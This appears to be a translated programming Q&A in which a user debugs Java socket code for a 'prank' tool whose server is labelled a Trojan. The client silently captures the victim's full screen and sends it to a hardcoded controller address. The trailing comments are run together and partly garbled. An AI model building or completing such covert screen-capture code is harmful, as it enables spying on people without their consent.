我正在制作一个恶作剧程序,但实际上它还有一定的用处。
目前我正在尝试从客户端获取屏幕截图,并在服务器上将截图作为JFrame打开。
经过多次尝试,我发现了这个未解决的问题:如何在Java中通过套接字发送图像?。
屏幕截图传输成功,但是被切割了,只有大约120-135kb的数据传输成��。在最受欢迎的答案中,他在客户端上使用了Thread.sleep()
在关闭连接之前,但是我尝试了没有它,结果也被切割了,所以我按照他的方式尝试了一下,但仍然被切割了。我的客户端类读取输入数据时循环运行每100毫秒一次,所以我认为它循环得太快了,所以我将其增加到1000毫秒,但仍然被切割了。
我在同一线程上尝试了另一种不同的方法,并在服务器端将ImageIO.read(new ByteArrayInputStream(imageAr))
更改为ImageIO.read(new ByteArrayInputStream(imageAr))
,但那次没有传输任何图像。
这是我开始尝试时尝试的原始方法之一,但根本不起作用!https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html。
服务器
package UI;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ViewScreen implements Runnable{
private static Thread t;
@Override
public void run(){
//Screenshot Frame
final JFrame frame = new JFrame();
frame.setSize(500, 500);
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
t = new Thread(){
public void run(){
try{
int port = 6667;
ServerSocket serverSocket = new ServerSocket(port);
Socket server = serverSocket.accept();
TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n");
DataInputStream in = new DataInputStream(server.getInputStream());
DataOutputStream out = new DataOutputStream(server.getOutputStream());
byte[] sizeAr = new byte[4];
in.read(sizeAr);
int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get();
byte[] imageAr = new byte[size];
in.read(imageAr);
BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr));
ImageIO.write(image, "jpg", new File("screen.jpg"));
server.close();
JLabel label = new JLabel();
label.setIcon(new ImageIcon(image));
frame.getContentPane().add(label);
}catch(IOException e){
e.printStackTrace();
}
}
};
t.start();
frame.setVisible(true);
}
}
这部分服务器代码是一个新线程,创建了一个新的socket和一个新的JFrame来显示屏幕截图。为什么要这样做呢?在另一个线程中,我读到只有当socket关闭时才会发送图像。因此,由于我不希望主socket关闭,否则就会失去连接,我创建了另一个socket,它将临时打开,仅用于流式传输屏幕截图。
客户端
package tc;
import java.awt.AWTException;
import java.awt.HeadlessException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
public class SendScreen{
public SendScreen(){
try{
//creates new socket on port 6667
Socket sclient = new Socket("192.168.0.5",6667);
OutputStream sOutToServer = sclient.getOutputStream();
DataOutputStream out = new DataOutputStream(sOutToServer);
InputStream sInFromServer = sclient.getInputStream();
DataInputStream in = new DataInputStream(sInFromServer);
//Takes screenshot and sends it to server as byte array
BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(screencap,"jpg",baos);
//Gets screenshot byte size and sends it to server and flushes then closes the connection
byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array();
out.write(size);
out.write(baos.toByteArray());
out.flush();
sclient.close();
}catch(HeadlessException | AWTException | IOException e){
e.printStackTrace();
}
}
}
在服务器端,我添加了另一行代码来在本地创建图像,以便排查是否有任何问题出现。
提前感谢。
size
作为字节数组,在接收端也是如此,我捕获了大部分屏幕,但右侧和底部的屏幕没有被捕获。这可能与我使用RDP进行远程编程有关。非常感谢! - xR34P3Rxbaos.size()
获取它,就像原始帖子中的代码一样。 - user207421